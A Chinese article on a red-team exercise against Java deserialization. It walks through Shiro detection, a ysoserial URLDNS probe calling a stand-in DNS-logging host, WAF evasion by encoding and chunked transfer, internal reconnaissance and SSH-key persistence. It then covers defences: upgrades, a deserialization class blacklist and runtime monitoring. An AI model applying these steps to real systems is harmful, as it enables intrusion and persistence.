从一次内部红队演练看Java反序列化:我们是如何绕过WAF打到内网的
2026/6/7 11:38:20 网站建设 项目流程

从红队视角拆解Java反序列化攻防实战

当企业安全团队进行内部红蓝对抗演练时,Java反序列化漏洞往往成为攻击方突破边界的关键跳板。在一次典型的渗透测试中,攻击者可能从暴露在公网的Java应用入手,利用Shiro等框架的反序列化缺陷绕过层层防御,最终实现内网横向移动。本文将还原这类攻击的完整技术链路,并给出可落地的防御方案。

1. 目标识别与漏洞探测

在真实的红队行动中,攻击者通常不会盲目扫描整个网络,而是通过指纹识别特征分析锁定高价值目标。以Apache Shiro框架为例,其默认配置会暴露关键特征:

GET /admin/login HTTP/1.1 Host: target.com Cookie: rememberMe=1

若响应头包含Set-Cookie: rememberMe=deleteMe,即可确认目标使用Shiro框架。这种非侵入式检测方式能有效规避基础WAF的防护规则。

对于存在WAF的环境,攻击者会采用分阶段验证策略:

  1. 先发送无害的测试payload观察响应
  2. 通过DNSLog等无回显技术验证漏洞
  3. 逐步增加payload复杂度绕过过滤

例如使用URLDNS链进行盲测:

java -jar ysoserial.jar URLDNS "http://dnslog.example.com" | base64 -w0

2. 绕过WAF的编码与混淆技术

现代WAF通常具备对常见攻击特征(如Runtime.exec())的检测能力。红队需要针对不同防护层采用相应绕过手段:

2.1 载荷编码方案对比

编码类型适用场景示例
Base64基础编码需求rO0AB...
URL编码处理特殊字符%AC%ED%00%05
Hex编码规避关键词检测\xac\xed\x00\x05
Unicode绕过正则匹配\u00ac\u00ed

2.2 分块传输技巧

通过HTTP分块传输编码(chunked)拆分恶意payload:

POST /api HTTP/1.1 Transfer-Encoding: chunked 5 rO0AB 3 XNy ...

配合时间延迟参数可进一步绕过行为分析:

Thread.sleep(Math.random() * 3000);

3. 内网横向扩展技术

成功获取边界服务器权限后,攻击者通常会进行以下操作:

  1. 信息收集

    # 查看网络配置 ifconfig /all # 检查ARP缓存 arp -a # 寻找数据库连接信息 find / -name *.properties
  2. 利用其他Java服务漏洞

    • Weblogic T3协议反序列化
    • Fastjson远程类加载
    • Jenkins Groovy沙箱绕过
  3. 建立持久化通道

    # 生成SSH密钥对 ssh-keygen -t rsa -b 4096 # 写入目标机authorized_keys echo pubkey >> ~/.ssh/authorized_keys

4. 企业级防御方案设计

针对上述攻击链,建议采用分层防御策略:

4.1 基础防护措施

  • 升级Shiro至最新版本(≥1.7.0)
  • 修改默认加密密钥
  • 禁用不必要的反序列化功能

4.2 高级检测机制

// 自定义ObjectInputStream过滤危险类 public class SafeObjectInputStream extends ObjectInputStream { private static final Set<String> BLACKLIST = Set.of("org.apache.commons.collections..."); protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (BLACKLIST.contains(desc.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt"); } return super.resolveClass(desc); } }

4.3 网络层防护

  • 对出站DNS请求实施严格管控
  • 在内网部署流量镜像分析系统
  • 对管理接口实施双因素认证

在一次真实的客户案例中,我们通过部署RASP(运行时应用自保护)技术,成功拦截了攻击者尝试利用JRMP协议进行的横向移动。该方案通过在Java虚拟机层植入探针,能够实时检测异常的反序列化操作:

// RASP检测示例 public class DeserializationMonitor { public static void check(Object obj) { if (obj instanceof Remote) { throw new SecurityException("JRMP connection detected"); } } }

对于关键业务系统,建议定期进行反序列化漏洞专项审计,使用工具如SerialKiller进行自动化扫描,同时结合人工代码审查验证修复效果。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询